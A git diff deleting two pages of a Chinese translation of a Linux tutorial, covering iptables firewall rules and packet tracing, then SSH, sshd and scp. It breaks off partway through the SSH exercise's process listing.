TOS=0x00 PREC=0x00 TTL=64 ID=14205 DF PROTO=TCP SPT=80 DPT=51534 - SEQ=4149908961 ACK=4164179985 WINDOW=5840 RES=0x00 ACK FIN URGP=0 UID=0 GID=0 - -08:00:10.038993 IP 10.0.2.2.51534 > 10.0.2.15.80: Flags [.], ack 2, win 65535, length 0 - 0x0000: 0000 0001 0006 5254 0012 3502 0000 0800 ......RT..5..... - 0x0010: 4500 0028 a00f 0000 4006 c2b0 0a00 0202 E..(....@....... - 0x0020: 0a00 020f c94e 0050 f834 5811 f75a 95e2 .....N.P.4X..Z.. - 0x0030: 5010 ffff f0a1 0000 0000 0000 0000 P............. - -raw:PREROUTING:policy:2 IN=eth0 OUT= MAC=08:00:27:d4:45:68:52:54:00:12:35:02:08:00 SRC=10.0.2.2 DST=10.0.2.15 - LEN=40 TOS=0x00 PREC=0x00 TTL=64 ID=40975 PROTO=TCP SPT=51534 DPT=80 - SEQ=4164179985 ACK=4149908962 WINDOW=65535 RES=0x00 ACK URGP=0 -mangle:PREROUTING:policy:1 IN=eth0 OUT= MAC=08:00:27:d4:45:68:52:54:00:12:35:02:08:00 SRC=10.0.2.2 DST=10.0.2.15 - LEN=40 TOS=0x00 PREC=0x00 TTL=64 ID=40975 PROTO=TCP SPT=51534 DPT=80 - SEQ=4164179985 ACK=4149908962 WINDOW=65535 RES=0x00 ACK URGP=0 -mangle:INPUT:policy:1 IN=eth0 OUT= MAC=08:00:27:d4:45:68:52:54:00:12:35:02:08:00 SRC=10.0.2.2 DST=10.0.2.15 - LEN=40 TOS=0x00 PREC=0x00 TTL=64 ID=40975 PROTO=TCP SPT=51534 DPT=80 - SEQ=4164179985 ACK=4149908962 WINDOW=65535 RES=0x00 ACK URGP=0 -filter:INPUT:policy:1 IN=eth0 OUT= MAC=08:00:27:d4:45:68:52:54:00:12:35:02:08:00 SRC=10.0.2.2 DST=10.0.2.15 - LEN=40 TOS=0x00 PREC=0x00 TTL=64 ID=40975 PROTO=TCP SPT=51534 DPT=80 - SEQ=4164179985 ACK=4149908962 WINDOW=65535 RES=0x00 ACK URGP=0 -``` - -## 这样做 - -``` - 1: sudo iptables-save - 2: sudo iptables -t filter -A INPUT -i lo -j ACCEPT - 3: sudo iptables -t filter -A INPUT -p tcp -m tcp --dport 22 -j ACCEPT - 4: sudo iptables -t filter -P INPUT DROP - 5: sudo iptables -nt filter -L --line-numbers - 6: ping -c 2 -W 1 10.0.2.2 - 7: sudo iptables -t filter -A INPUT --match state --state ESTABLISHED -j ACCEPT - 8: sudo iptables -nt filter -L --line-numbers - 9: ping -c 2 -W 1 10.0.2.2 -10: sudo modprobe ipt_LOG -11: sudo iptables -nt raw -L --line-numbers -12: sudo iptables -t raw -A PREROUTING -p udp -m udp --dport 1024 -j TRACE -13: sudo iptables -t raw -A OUTPUT -p udp -m udp --sport 1024 -j TRACE -14: sudo tail -n0 -f /var/log/kern.log | cut -c52-300 & -15: nc -ulp 1024 & -16: echo 'Hello there!' | nc -u localhost 1000 -17: -18: fg -19: -20: fg -21: -``` - -## 你会看到什么 - -``` -user1@vm1:~$ sudo iptables-save -# Generated by iptables-save v1.4.8 on Mon Jul 16 09:01:32 2012 -*mangle -:PREROUTING ACCEPT [45783:3411367] -:INPUT ACCEPT [45783:3411367] -:FORWARD ACCEPT [0:0] -:OUTPUT ACCEPT [30409:9552110] -:POSTROUTING ACCEPT [30331:9543294] -COMMIT -# Completed on Mon Jul 16 09:01:32 2012 -# Generated by iptables-save v1.4.8 on Mon Jul 16 09:01:32 2012 -*nat -:PREROUTING ACCEPT [24:1056] -:POSTROUTING ACCEPT [755:41247] -:OUTPUT ACCEPT [817:45207] -COMMIT -# Completed on Mon Jul 16 09:01:32 2012 -# Generated by iptables-save v1.4.8 on Mon Jul 16 09:01:32 2012 -*raw -:PREROUTING ACCEPT [3171:197900] -:OUTPUT ACCEPT [1991:1294054] --A PREROUTING -p udp -m udp --dport 80 -j TRACE --A OUTPUT -p udp -m udp --sport 80 -j TRACE -COMMIT -# Completed on Mon Jul 16 09:01:32 2012 -# Generated by iptables-save v1.4.8 on Mon Jul 16 09:01:32 2012 -*filter -:INPUT ACCEPT [54:3564] -:FORWARD ACCEPT [0:0] -:OUTPUT ACCEPT [28:2540] -COMMIT -# Completed on Mon Jul 16 09:01:32 2012 -user1@vm1:~$ sudo iptables -t filter -A INPUT -i lo -j ACCEPT -user1@vm1:~$ sudo iptables -t filter -A INPUT -p tcp -m tcp --dport 22 -j ACCEPT -user1@vm1:~$ sudo iptables -t filter -P INPUT DROP -user1@vm1:~$ sudo iptables -nt filter -L --line-numbers -Chain INPUT (policy DROP) -num target prot opt source destination -1 ACCEPT all -- 0.0.0.0/0 0.0.0.0/0 -2 ACCEPT tcp -- 0.0.0.0/0 0.0.0.0/0 tcp dpt:22 - -Chain FORWARD (policy ACCEPT) -num target prot opt source destination - -Chain OUTPUT (policy ACCEPT) -num target prot opt source destination - -user1@vm1:~$ ping -c 2 -W 1 10.0.2.2 -PING 10.0.2.2 (10.0.2.2) 56(84) bytes of data. - ---- 10.0.2.2 ping statistics --- -2 packets transmitted, 0 received, 100% packet loss, time 1008ms - -user1@vm1:~$ sudo iptables -t filter -A INPUT --match state --state ESTABLISHED -j ACCEPT -user1@vm1:~$ sudo iptables -nt filter -L --line-numbers -Chain INPUT (policy DROP) -num target prot opt source destination -1 ACCEPT all -- 0.0.0.0/0 0.0.0.0/0 -2 ACCEPT tcp -- 0.0.0.0/0 0.0.0.0/0 tcp dpt:22 -3 ACCEPT all -- 0.0.0.0/0 0.0.0.0/0 state ESTABLISHED - -Chain FORWARD (policy ACCEPT) -num target prot opt source destination - -Chain OUTPUT (policy ACCEPT) -num target prot opt source destination - -user1@vm1:~$ ping -c 2 -W 1 10.0.2.2 -PING 10.0.2.2 (10.0.2.2) 56(84) bytes of data. -64 bytes from 10.0.2.2: icmp_req=1 ttl=63 time=0.385 ms -64 bytes from 10.0.2.2: icmp_req=2 ttl=63 time=0.142 ms - ---- 10.0.2.2 ping statistics --- -2 packets transmitted, 2 received, 0% packet loss, time 999ms -rtt min/avg/max/mdev = 0.142/0.263/0.385/0.122 ms -user1@vm1:~$ sudo iptables -nt raw -L --line-numbers -Chain PREROUTING (policy ACCEPT) -num target prot opt source destination - -Chain OUTPUT (policy ACCEPT) -num target prot opt source destination -user1@vm1:~$ sudo iptables -t raw -A PREROUTING -p udp -m udp --dport 1024 -j TRACE -user1@vm1:~$ sudo iptables -t raw -A OUTPUT -p udp -m udp --sport 1024 -j TRACE -user1@vm1:~$ sudo iptables -nt raw -L --line-numbers -Chain PREROUTING (policy ACCEPT) -num target prot opt source destination -1 TRACE udp -- 0.0.0.0/0 0.0.0.0/0 udp dpt:1024 - -Chain OUTPUT (policy ACCEPT) -num target prot opt source destination -1 TRACE udp -- 0.0.0.0/0 0.0.0.0/0 udp spt:1024 -user1@vm1:~$ sudo tail -n0 -f /var/log/kern.log | cut -c52-300 & -[1] 10249 -user1@vm1:~$ nc -ulp 1024 & -[2] 10251 -user1@vm1:~$ echo 'Hello there!' | nc -u localhost 1024 -Hello there! -raw:PREROUTING:policy:2 IN=lo OUT= MAC=00:00:00:00:00:00:00:00:00:00:00:00:08:00 SRC=127.0.0.1 DST=127.0.0.1 LEN=41 TOS=0x00 PREC=0x00 TTL=64 ID=57898 DF PROTO=UDP SPT=50407 DPT=1024 LEN=21 -mangle:PREROUTING:policy:1 IN=lo OUT= MAC=00:00:00:00:00:00:00:00:00:00:00:00:08:00 SRC=127.0.0.1 DST=127.0.0.1 LEN=41 TOS=0x00 PREC=0x00 TTL=64 ID=57898 DF PROTO=UDP SPT=50407 DPT=1024 LEN=21 -mangle:INPUT:policy:1 IN=lo OUT= MAC=00:00:00:00:00:00:00:00:00:00:00:00:08:00 SRC=127.0.0.1 DST=127.0.0.1 LEN=41 TOS=0x00 PREC=0x00 TTL=64 ID=57898 DF PROTO=UDP SPT=50407 DPT=1024 LEN=21 -filter:INPUT:rule:1 IN=lo OUT= MAC=00:00:00:00:00:00:00:00:00:00:00:00:08:00 SRC=127.0.0.1 DST=127.0.0.1 LEN=41 TOS=0x00 PREC=0x00 TTL=64 ID=57898 DF PROTO=UDP SPT=50407 DPT=1024 LEN=21 - -^C -[2]+ Stopped nc -ulp 1024 -user1@vm1:~$ fg -nc -ulp 1024 -^C -user1@vm1:~$ fg -sudo tail -n0 -f /var/log/kern.log | cut -c52-300 -^C -user1@vm1:~$ -``` - -## 解释 - -1. 列出所有表中的所有`iptables`规则。你看不到任何东西。 -1. 允许`lo`([环回](http://en.wikipedia.org/wiki/Localhost))接口上的所有传入流量。 -1. 允许 TCP 端口 22 上的所有传入流量,这是`ssh`。 -1. 将默认`INPUT`策略更改为`DROP`,禁止所有传入连接,除了 TCP 端口 22。如果在此丢失`vm1`的连接,则表示你做错了,在 VirtualBox 中重新启动并重试。 -1. 列出当前的过滤器规则。注意:你可以按号码删除规则,如下所示:`sudo iptables -t filter -D INPUT 2`。请注意策略与规则完全不一样。 -1. 尝试`ping`你的默认网关,失败了。为什么是这样,即使允许传出连接(`Chain OUTPUT (policy ACCEPT)`)?传出的数据包被发送到网关,但是网关的回复不能进入。 -1. 添加一条规则,告诉`iptables`允许属于已建立连接的所有数据包,例如来自`vm1`的所有连接。 -1. 列出当前的过滤器规则。你可以看到我们的新规则。 -1. `ping` `vm1`的默认网关,这次成功了。 -1. 加载 Linux 内核模块,它允许使用包过滤日志功能。 -1. 添加规则,来记录所有发往`vm1`任何接口的 UDP 端口 1024 的传入数据包。 -1. 添加规则,来记录所有来自`vm1`任何接口的 UDP 端口 1024 的传出数据包。 -1. 列出`raw`表规则。 -1. 在后台启动`tail`,将打印写入`/var/log/kern.log`的所有新行。`cut`会在开头删除不必要的日志条目前缀。请注意后台进程如何写入终端。 -1. 以服务器模式启动`nc`,在`vm1`的所有接口上监听 UDP 端口 1024 。 -1. 以客户端模式启动`nc`,将字符串`Hello there!`发送到我们的服务器模式`nc`。`tail`打印出`kern.log`中的所有新行,你可以看到在 Linux 内核封包过滤器中,我们的单个 UDP 数据包从一个表到了另一个表。没有回复,所以只有一个数据包被发送和处理。 -1. 杀死客户端模式`nc`。 -1. 将服务器模式`nc`带到前台。 -1. 杀死服务器模式`nc`。 -1. 将`sudo tail -n0 -f /var/log/kern.log | cut -c52-300 &`带到前台。 -1. 杀死它。 - -## 附加题 - -这个练习本身已经很大了。只需要打印出日志,并使用铅笔浏览它,直到理解了每一行的每个字段都发生了什么。如果你卡住了,去问别人:。 diff --git a/docs/llthw-zh/ex27.md b/docs/llthw-zh/ex27.md deleted file mode 100644 index 0c024b17..00000000 --- a/docs/llthw-zh/ex27.md +++ /dev/null @@ -1,466 +0,0 @@ -# 练习 27:安全 Shell,`ssh`,`sshd`,`scp` - -> 原文:[Exercise 27. Networking: secure shell, ssh, sshd, scp](https://archive.fo/vzDDW) - -> 译者:[飞龙](https://github.com/wizardforcel) - -> 协议:[CC BY-NC-SA 4.0](http://creativecommons.org/licenses/by-nc-sa/4.0/) - -> 自豪地采用[谷歌翻译](https://translate.google.cn/) - -你可能已经知道,[SSH](https://en.wikipedia.org/wiki/Secure_Shell) 是一种网络协议,允许你通过网络登录到`vm1`。让我们详细研究一下。 - -> 安全 Shell(SSH)是一种网络协议,用于安全数据通信,远程 Shell 服务或命令执行,以及其它两个联网计算机之间的网络服务,它们通过不安全网络上的安全通道连接:服务器和客户端(运行 SSH 服务器和 SSH 客户端程序)。协议规范区分了两个主要版本,被称为 SSH-1 和 SSH-2。 - -> 协议最著名的应用是,访问类 Unix 操作系统上的 shell 帐户。它为替代 Telnet 和其他不安全的远程 shell 协议而设计,如 Berkeley rsh 和 rexec 协议,它们以明文形式发送信息,特别是密码,使得它们易于使用封包分析来拦截和暴露。SSH 使用的加密 旨在通过不安全的网络(如互联网)提供数据的机密性和完整性。 - -重要的 SSH 程序,概念和配置文件: - -+ [OpenSSH](https://en.wikipedia.org/wiki/OpenSSH) - 开源的 ssh 程序实现。 -+ `ssh` - 允许你连接到 SSH 服务器的客户端程序。Putty 就是这样的客户端程序。 -+ `sshd` - 服务器程序,允许你使用`ssh`连接到它。 -+ `/etc/ssh/ssh_config` - 默认的客户端程序配置文件。 -+ `/etc/ssh/sshd_config` - 默认服务器程序配置文件。 -+ [公钥密码系统](https://en.wikipedia.org/wiki/Public-key_cryptography) - 一种需要两个单独密钥的加密系统,其中一个密钥是私钥,其中一个密钥是公钥。虽然不同,密钥对的两个部分在数学上是相关的。一旦密钥锁定或加密了明文,另一个密钥解锁或解密密文。两个密钥都不能执行这两个功能。其中一个密钥是公开发布的,另一个密钥是保密的。 -+ SSH 密钥 - SSH 使用公钥密码系统来认证远程计算机,并允许它对用户进行认证(如有必要)。任何人都可以生成一对匹配的不同密钥(公钥和私钥)。公钥放置在所有计算机上,它们允许访问匹配的私钥的所有者(所有者使私钥保密)。虽然认证基于私钥,但认证期间密钥本身不会通过网络传输。 -+ `/etc/ssh/moduli` - 质数及其生成器,由`sshd(8)`用于 Diffie-Hellman Group Exchange 密钥交换方法中。 -+ `/etc/ssh/ssh_host_dsa_key`, `/etc/ssh/ssh_host_rsa_key` - 主机 RSA 和 DSA 私钥。 -+ `/etc/ssh/ssh_host_dsa_key.pub`, `/etc/ssh/ssh_host_rsa_key.pub` - 主机 RSA 和 DSA 公钥。 - -SSH 协议非常重要,因此被广泛使用,并且具有如此多的功能,你必须了解它的一些工作原理。这是它的一些用途: - -+ `scp` - 通过 SSH 传输文件。 -+ `sftp` - 类似 ftp 的协议,用于管理远程文件。 -+ `sshfs` - SSH 上的远程文件系统。 -+ SSH 隧道 - 一种通过安全连接,传输几乎任何数据的方法。这是非常重要的,因为它可以用于构建受保护系统的基础,以及许多其他用途。 - -为了了解这个协议,让我们看看,在 SSH 会话中会发生了什么。为此,我们将开始研究`vm1`到`vm1`的连接的带注解的输出(是的,这是可以做到的,也是完全有效的)。概述: - -``` -你 - 输入 SSH VM1 - 控制权现在传递给 SSH 客户端 -SSH 客户端 - 进入明文阶段 - 读取配置 - 与 SSH 服务器进行协议协商 - 进入 SSH 传输阶段 - 与 SSH 服务器进行协商 - 数据加密密码 - 数据完整性算法 - 数据压缩算法 - 使用 Diffie-Hellman 算法启动密钥交换 - 所得共享密钥用于建立安全连接 - 进入 SSH-userauth 阶段 - 要求你输入密码 - 控制权现在传递给你 -你 - 输入密码 - 控制权现在传递给 SSH 客户端 -SSH 客户端 - 在 SSH 服务器对你进行认证 - 进入 SSH 连接阶段 - 为你分配伪终端 - 为你启动 shell - 控制权现在传递给你 -你 - 在 vm1 上做一些(没)有用的事情 - 关闭 shell - 控制全现在传递给 SSH 客户端 -SSH 客户端 - 关闭伪终端 - 关闭连接 -``` - -现在阅读这个: - -+ [SSH 协议揭秘](https://www.linuxjournal.com/article/9566) -+ - -并研究 SSH 会话的真实输出: - -``` -user1@vm1:~$ ssh -vv vm1 - -Protocol version selection, plaintext -------------------------------------- - -OpenSSH_5.5p1 Debian-6+squeeze2, OpenSSL 0.9.8o 01 Jun 2010 -# Speaks for itself, I will mark such entries with -- below -debug1: Reading configuration data /etc/ssh/ssh_config -# Applying default options for all hosts. Additional options for each host may be -# specified in the configuration file -debug1: Applying options for * -debug2: ssh_connect: needpriv 0 -debug1: Connecting to vm1 [127.0.1.1] port 22. -debug1: Connection established. -debug1: identity file /home/user1/.ssh/id_rsa type -1 # no such files -debug1: identity file /home/user1/.ssh/id_rsa-cert type -1 -debug1: identity file /home/user1/.ssh/id_dsa type -1 -debug1: identity file /home/user1/.ssh/id_dsa-cert type -1 -debug1: Remote protocol version 2.0, remote software version OpenSSH_5.5p1 Debian-6+squeeze2 -debug1: match: OpenSSH_5.5p1 Debian-6+squeeze2 pat OpenSSH* -debug1: Enabling compatibility mode for protocol 2.0 -debug1: Local version string SSH-2.0-OpenSSH_5.5p1 Debian-6+squeeze2 -debug2: fd 3 setting O_NONBLOCK - -SSH-transport, binary packet protocol -------------------------------------- - -debug1: SSH2_MSG_KEXINIT sent -debug1: SSH2_MSG_KEXINIT received -# Key exchange algorithms -debug2: kex_parse_kexinit: diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1 -# SSH host key types -debug2: kex_parse_kexinit: ssh-rsa-cert-v00@openssh.com,ssh-dss-cert-v00@openssh.com,ssh-rsa,ssh-dss -# Data encryption ciphers -debug2: kex_parse_kexinit: aes128-ctr,aes192-ctr,aes256-ctr,arcfour256,arcfour128,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,aes192-cbc,aes256-cbc,arcfour,rijndael-cbc@lysator.liu.se -debug2: kex_parse_kexinit: aes128-ctr,aes192-ctr,aes256-ctr,arcfour256,arcfour128,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,aes192-cbc,aes256-cbc,arcfour,rijndael-cbc@lysator.liu.se -# Data integrity algorithms -debug2: kex_parse_kexinit: hmac-md5,hmac-sha1,umac-64@openssh.com,hmac-ripemd160,hmac-ripemd160@openssh.com,hmac-sha1-96,hmac-md5-96 -debug2: kex_parse_kexinit: hmac-md5,hmac-sha1,umac-64@openssh.com,hmac-ripemd160,hmac-ripemd160@openssh.com,hmac-sha1-96,hmac-md5-96 -# Data compression algorithms -debug2: kex_parse_kexinit: none,zlib@openssh.com,zlib -debug2: kex_parse_kexinit: none,zlib@openssh.com,zlib -debug2: kex_parse_kexinit: -debug2: kex_parse_kexinit: -debug2: kex_parse_kexinit: first_kex_follows -debug2: kex_parse_kexinit: reserved 0 -# Messages back from server -debug2: kex_parse_kexinit: diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1 -debug2: kex_parse_kexinit: ssh-rsa,ssh-dss -debug2: kex_parse_kexinit: aes128-ctr,aes192-ctr,aes256-ctr,arcfour256,arcfour128,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,aes192-cbc,aes256-cbc,arcfour,rijndael-cbc@lysator.liu.se -debug2: kex_parse_kexinit: aes128-ctr,aes192-ctr,aes256-ctr,arcfour256,arcfour128,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,aes192-cbc,aes256-cbc,arcfour,rijndael-cbc@lysator.liu.se -debug2: kex_parse_kexinit: hmac-md5,hmac-sha1,umac-64@openssh.com,hmac-ripemd160,hmac-ripemd160@openssh.com,hmac-sha1-96,hmac-md5-96 -debug2: kex_parse_kexinit: hmac-md5,hmac-sha1,umac-64@openssh.com,hmac-ripemd160,hmac-ripemd160@openssh.com,hmac-sha1-96,hmac-md5-96 -debug2: kex_parse_kexinit: none,zlib@openssh.com -debug2: kex_parse_kexinit: none,zlib@openssh.com -debug2: kex_parse_kexinit: -debug2: kex_parse_kexinit: -debug2: kex_parse_kexinit: first_kex_follows 0 -debug2: kex_parse_kexinit: reserved 0 -# Message authentication code setup -debug2: mac_setup: found hmac-md5 -debug1: kex: server->client aes128-ctr hmac-md5 none -debug2: mac_setup: found hmac-md5 -debug1: kex: client->server aes128-ctr hmac-md5 none -# Key exchange -debug1: SSH2_MSG_KEX_DH_GEX_REQUEST(1024<1024<8192) sent -debug1: SSH2_MSG_KEX_DH_GEX_REQUEST(1024<1024<8192) sent -debug1: expecting SSH2_MSG_KEX_DH_GEX_GROUP -debug2: dh_gen_key: priv key bits set: 135/256 -debug2: bits set: 498/1024 -debug1: SSH2_MSG_KEX_DH_GEX_INIT sent -debug1: expecting SSH2_MSG_KEX_DH_GEX_REPLY -# Server authentication. vm1 host key is not known because it is our first connection -debug2: no key of type 0 for host vm1 -debug2: no key of type 2 for host vm1 -# Confirmation of host key acceptance -The authenticity of host 'vm1 '(127.0.1.1)' can't be established. -RSA key fingerprint is b6:06:92:5e:04:49:d9:e8:57:90:61:1b:16:87:bb:09. -Are you sure you want to continue connecting (yes/no)? yes -Warning: Permanently added 'vm1' (RSA) to the list of known hosts. -# Key is added to /home/user1/.ssh/known_hosts and checked -debug2: bits set: 499/1024 -debug1: ssh_rsa_verify: signature correct -# Based on shared master key, data encryption key and data integrity key are derived -debug2: kex_derive_keys -debug2: set_newkeys: mode 1 -# Information about this is sent to server -debug1: SSH2_MSG_NEWKEYS sent -debug1: expecting SSH2_MSG_NEWKEYS -debug2: set_newkeys: mode 0 -debug1: SSH2_MSG_NEWKEYS received -# IP roaming not enabled? Not sure about this. -debug1: Roaming not allowed by server - -SSH-userauth ------------- - -debug1: SSH2_MSG_SERVICE_REQUEST sent -debug2: service_accept: ssh-userauth -debug1: SSH2_MSG_SERVICE_ACCEPT received -debug2: key: /home/user1/.ssh/id_rsa ((nil)) -debug2: key: /home/user1/.ssh/id_dsa ((nil)) -debug1: Authentications that can continue: publickey,password -debug1: Next authentication method: publickey -debug1: Trying private key: /home/user1/.ssh/id_rsa -debug1: Trying private key: /home/user1/.ssh/id_dsa -debug2: we did not send a packet, disable method -debug1: Next authentication method: password -user1@vm1''s password: -debug2: we sent a password packet, wait for reply -debug1: Authentication succeeded (password). - -SSH-connection --------------- - -debug1: channel 0: new [client-session] -debug2: channel 0: send open -# Disable SSH mutiplexing. -# More info: http://www.linuxjournal.com/content/speed-multiple-ssh-connections-same-server -debug1: Requesting no-more-sessions@openssh.com -debug1: Entering interactive session. -debug2: callback start -debug2: client_session2_setup: id 0 -debug2: channel 0: request pty-req confirm 1 -# Sending environment variables -debug1: Sending environment. -debug1: Sending env LANG = en_US.UTF-8 -debug2: channel 0: request env confirm 0 -debug2: channel 0: request shell confirm 1 -# Set TCP_NODELAY flag: http://en.wikipedia.org/wiki/Nagle%27s_algorithm -debug2: fd 3 setting TCP_NODELAY -debug2: callback done -# Connection opened -debug2: channel 0: open confirm rwindow 0 rmax 32768 -debug2: channel_input_status_confirm: type 99 id 0 -# Pseudo terminal allocation -debug2: PTY allocation request accepted on channel 0 -debug2: channel 0: rcvd adjust 2097152 -debug2: channel_input_status_confirm: type 99 id 0 -# Shell is started -debug2: shell request accepted on channel 0 -# Loggin in is completed -Linux vm1 2.6.32-5-amd64 #1 SMP Sun May 6 04:00:17 UTC 2012 x86_64 - -The programs included with the Debian GNU/Linux system are free software; -the exact distribution terms for each program are described in the -individual files in /usr/share/doc/*/copyright. - -Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent -permitted by applicable law. -You have mail. -Last login: Thu Jul 19 05:14:40 2012 from 10.0.2.2 -user1@vm1:~$ debug2: client_check_window_change: changed -debug2: channel 0: request window-change confirm 0 -user1@vm1:~$ debug2: client_check_window_change: changed -debug2: channel 0: request window-change confirm 0 -user1@vm1:~$ logout - -Ending ssh connection ---------------------- - -debug2: channel 0: rcvd eof # end of file -debug2: channel 0: output open -> drain -debug2: channel 0: obuf empty -debug2: channel 0: close_write -debug2: channel 0: output drain -> closed -debug1: client_input_channel_req: channel 0 rtype exit-status reply 0 -# signalling that channels are half-closed for writing, through a channel protocol extension -# notification "eow@openssh.com" http://www.openssh.com/txt/release-5.1 -debug1: client_input_channel_req: channel 0 rtype eow@openssh.com reply 0 -debug2: channel 0: rcvd eow -# Ending connection -debug2: channel 0: close_read -debug2: channel 0: input open -> closed -debug2: channel 0: rcvd close -debug2: channel 0: almost dead -debug2: channel 0: gc: notify user -debug2: channel 0: gc: user detached -debug2: channel 0: send close -debug2: channel 0: is dead -debug2: channel 0: garbage collecting -debug1: channel 0: free: client-session, nchannels 1 -Connection to vm1 closed. -Transferred: sent 1928, received 2632 bytes, in 93.2 seconds -Bytes per second: sent 20.7, received 28.2 -debug1: Exit status 0 -user1@vm1:~$ -``` - -现在,你将学习如何在调试模式下启动`sshd`,使用`scp`建立公钥认证和复制文件。 - -## 这样做 - -``` - 1: mkdir -v ssh_test - 2: cd ssh_test - 3: cp -v /etc/ssh/sshd_config . - 4: sed -i'.bak' 's/^Port 22$/Port 1024/' sshd_config - 5: sed -i 's/^HostKey \/etc\/ssh\/ssh_host_rsa_key$/Hostkey \/home\/user1\/ssh_test\/ssh_host_rsa_key/' sshd_config - 6: sed -i 's/^HostKey \/etc\/ssh\/ssh_host_dsa_key$/Hostkey \/home\/user1\/ssh_test\/ssh_host_dsa_key/' sshd_config - 7: diff sshd_config.bak sshd_config - 8: ssh-keygen -b 4096 -t rsa -N '' -v -h -f ssh_host_rsa_key - 9: ssh-keygen -b 1024 -t dsa -N '' -v -h -f ssh_host_dsa_key -10: ssh-keygen -b 4096 -t rsa -N '' -v -f ~/.ssh/id_rsa -11: cat ~/.ssh/id_rsa.pub > ~/.ssh/authorized_keys -12: /usr/sbin/sshd -Ddf sshd_config > sshd.out 2>&1 & -13: ssh-keyscan -H vm1 127.0.0.1 >> ~/.ssh/known_hosts -14: /usr/sbin/sshd -Ddf sshd_config >> sshd.out 2>&1 & -15: ssh vm1 -v -p 1024 2>ssh.out -16: ps au --forest -17: logout -18: /usr/sbin/sshd -Ddf sshd_config >> sshd.out 2>&1 & -19: scp -v -P 1024 vm1:.bashrc . 2>scp.out -``` - -## 你会看到什么 - -``` -user1@vm1:~$ mkdir -v ssh_test -mkdir: created directory 'ssh_test' -user1@vm1:~$ cd ssh_test -user1@vm1:~/ssh_test$ cp -v /etc/ssh/sshd_config . -'/etc/ssh/sshd_config' -> './sshd_config' -user1@vm1:~/ssh_test$ sed -i'.bak' 's/^Port 22$/Port 1024/' sshd_config -user1@vm1:~/ssh_test$ sed -i 's/^HostKey \/etc\/ssh\/ssh_host_rsa_key$/Hostkey \/home\/user1\/ssh_test\/ssh_host_rsa_key/' sshd_config -user1@vm1:~/ssh_test$ sed -i 's/^HostKey \/etc\/ssh\/ssh_host_dsa_key$/Hostkey \/home\/user1\/ssh_test\/ssh_host_dsa_key/' sshd_config -user1@vm1:~/ssh_test$ diff sshd_config.bak sshd_config -5c5 -< Port 22 ---- -> Port 1024 -11,12c11,12 -< HostKey /etc/ssh/ssh_host_rsa_key -< HostKey /etc/ssh/ssh_host_dsa_key ---- -> Hostkey /home/user1/ssh_test/ssh_host_rsa_key -> Hostkey /home/user1/ssh_test/ssh_host_dsa_key -user1@vm1:~/ssh_test$ ssh-keygen -b 4096 -t rsa -N '' -v -h -f ssh_host_rsa_key -Generating public/private rsa key pair. -Your identification has been saved in ssh_host_rsa_key. -Your public key has been saved in ssh_host_rsa_key.pub. -The key fingerprint is: -8c:0a:8d:ae:c7:34:e6:29:9c:c2:14:29:b8:d9:1d:34 user1@vm1 -'The key's randomart image is: -+--[ RSA 4096]----+ -| | -| E | -|. .. . | -|oo o. o | -|.++.... S | -|oo=... | -|+=oo. | -|o== | -|oo | -+-----------------+ -user1@vm1:~/ssh_test$ ssh-keygen -b 1024 -t dsa -N '' -v -h -f ssh_host_dsa_key -Generating public/private dsa key pair. -Your identification has been saved in ssh_host_dsa_key. -Your public key has been saved in ssh_host_dsa_key.pub. -The key fingerprint is: -cd:6b:2a:a2:ba:80:65:71:85:ef:2e:6a:c0:a7:d9:aa user1@vm1 -'The key's randomart image is: -+--[ DSA 1024]----+ -| .. | -| .. | -| . .. | -| o . o | -|. o . S o | -|o+ . . . | -|o.= . o | -|.o..o o o | -|E=+o o .. | -+-----------------+ -user1@vm1:~/ssh_test$ ssh-keygen -b 4096 -t rsa -N '' -v -f ~/.ssh/id_rsa -Generating public/private rsa key pair. -Your identification has been saved in /home/user1/.ssh/id_rsa. -Your public key has been saved in /home/user1/.ssh/id_rsa.pub. -The key fingerprint is: -50:65:18:61:3f:41:36:07:4f:40:36:a7:4b:6d:64:28 user1@vm1 -'The key's randomart image is: -+--[ RSA 4096]----+ -| =B&+* | -| oE=.& | -| . .= + | -| . . + | -| S . | -| | -| | -| | -| | -+-----------------+ -user1@vm1:~/ssh_test$ cat ~/.ssh/id_rsa.pub > ~/.ssh/authorized_keys -user1@vm1:~/ssh_test$ /usr/sbin/sshd -Ddf sshd_config > sshd.out 2>&1 & -[2] 26896 -user1@vm1:~/ssh_test$ ssh-keyscan -H vm1 127.0.0.1 >> ~/.ssh/known_hosts -# 127.0.0.1 SSH-2.0-OpenSSH_5.5p1 Debian-6+squeeze2 -# vm1 SSH-2.0-OpenSSH_5.5p1 Debian-6+squeeze2 -[2]+ Exit 255 /usr/sbin/sshd -Ddf sshd_config > sshd.out 2>&1 -user1@vm1:~/ssh_test$ /usr/sbin/sshd -Ddf sshd_config >> sshd.out 2>&1 & -[1] 26957 -user1@vm1:~/ssh_test$ ssh vm1 -v -p 1024 2>ssh.out -Linux vm1 2.6.32-5-amd64 #1 SMP Sun May 6 04:00:17 UTC 2012 x86_64 - -The programs included with the Debian GNU/Linux system are free software; -the exact distribution terms for each program are described in the -individual files in /usr/share/doc/*/copyright. - -Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent -permitted by applicable law. -You have mail. -Last login: Fri Jul 20 09:10:30 2012 from vm1.site -Environment: - LANG=en_US.UTF-8 - USER=user1 - LOGNAME=user1 - HOME=/home/user1 - PATH=/usr/local/bin:/usr/bin:/bin:/usr/bin/X11:/usr/games - MAIL=/var/mail/user1 - SHELL=/bin/bash - SSH_CLIENT=127.0.1.1 47456 1024 - SSH_CONNECTION=127.0.1.1 47456 127.0.1.1 1024 - SSH_TTY=/dev/pts/0 - TERM=xterm -user1@vm1:~$ ps au --forest -USER PID %CPU %MEM VSZ RSS TTY STAT START TIME COMMAND -user1 26224 0.0 1.2 23660 6576 pts/2 Ss 09:09 0:01 -bash -user1 27020 1.0 0.6 68392 3236 pts/2 S 09:50 0:00 \_ sshd: user1 [priv] -user1 27025 0.0 0.2 68392 1412 pts/2 S 09:50 0:00 | \_ sshd: user1@pts/0 -user1 27026 9.0 1.2 23564 6404 pts/0 Ss 09:50 0:00 | 